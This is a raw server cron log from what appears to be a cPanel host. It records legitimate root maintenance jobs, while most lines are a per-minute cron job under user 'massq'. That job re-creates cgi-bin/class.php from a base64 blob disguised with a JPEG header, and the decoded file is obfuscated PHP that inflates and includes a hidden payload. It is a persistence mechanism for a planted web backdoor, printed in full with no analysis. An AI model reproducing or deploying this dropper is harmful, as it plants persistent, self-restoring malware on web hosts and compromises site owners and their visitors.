Nov 12 19:40:01 server CROND[7321]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 19:40:01 server CROND[7324]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 12 19:41:01 server CROND[8233]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 19:42:01 server CROND[9305]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 12 19:42:01 server CROND[9306]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 19:43:01 server CROND[10165]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 19:44:01 server CROND[11059]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 19:45:01 server CROND[11890]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 12 19:45:01 server CROND[11891]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 19:45:01 server CROND[11892]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 12 19:46:01 server CROND[12794]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 19:47:01 server CROND[13804]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 19:48:01 server CROND[14655]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 19:49:01 server CROND[15534]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 19:50:01 server CROND[16341]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 12 19:50:01 server CROND[16342]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 12 19:50:01 server CROND[16343]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 12 19:50:01 server CROND[16344]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 12 19:50:01 server CROND[16346]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 19:51:01 server CROND[17271]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 19:52:01 server CROND[18249]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
